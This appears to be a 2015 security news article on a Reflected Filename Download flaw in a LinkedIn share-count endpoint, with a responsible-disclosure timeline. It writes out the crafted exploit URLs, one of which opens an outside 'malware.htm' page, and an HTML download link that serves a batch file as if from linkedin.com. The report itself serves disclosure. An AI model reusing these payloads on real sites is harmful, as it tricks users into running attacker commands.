Pierluigi Paganini
September 19, 2015
He was analyzing another website when he discovered the following XHR request on Google Inspector on LinkedIn:
https://www.linkedin.com/countserv/count/share?url=http://www.site_i_was_in.pt
It seems a simple request to make by websites to count how many shares their site have on the Linkedin network.
Then Sopas tried to modify the parameter in the request, below its first attempt:
https://www.linkedin.com/countserv/count/share?url=”||calc||
and obtained the following response:
IN.Tags.Share.handleCount({“count”:0,”fCnt”:”0″,”fCntPlusOne”:”1″,”url”:”\”||calc||”});
He discovered that the Url parameter wasn’t validated and it was reflected on the JSON file, then he tried to download the file and rename it to .bat to execute the calculator from Windows.
He needed to change the path so it downloaded a batch file and use a different windows command.
https://www.linkedin.com/countserv/count/share;setup.bat?url=”||start chrome websegura.net/malware.htm||
He noticed IE8 downloaded automatically the batch file from linkedin.com, so Sopas tried the same with other browsers, in order to make its test he needed the HTML5 download attribute.
<div align="center"> <a href='https://www.linkedin.com/countserv/count/share;setup.bat?url="||start chrome websegura.net/malware.htm||' download="setup.bat" onclick="return false;"> <img src="http://damnlink.com/uploaded_images/godaddy_coupons_and_godaddy_promo_code_3187745288.png" border="0" />
(Use “Save link as” to download the file)
How do attackers exploit a Reflected Filename Download vulnerability?
Sopas described the following attack scenario:
“A malicious user could even give more credibility to the HTML5 download site if he uses famous open redirections vulnerabilities on trusted sites like open redirects on Google or even on Linkedin.” wrote Sopas in a blog post.
This kind of attack is very insidious because the victims believe that a file is offered for download from a trusted website, in this case Linkedin, even if contains a malicious exploit that allows an attacker to compromise their machine.
Below the Timeline for the LinkedIn Flaw provided by Sopas:
11-05-2015 Sent the report to Linkedin
11-05-2015 Didn’t understand the true nature of the attack
11-05-2015 I replied with more information using other public RFD attacks and Oren Hafif paper about RFD
13-05-2015 Linkedin told me that they’re working on a solution
02-06-2015 I asked for an update
03-06-2015 Linkedin replied that they will give me an update soon
01-07-2015 I asked again for an update
09-09-2015 Linkedin replied that they had fixed the issue
18-09-2015 Full disclosure
(Security Affairs – LinkedIn, Reflected Filename Download vulnerability)
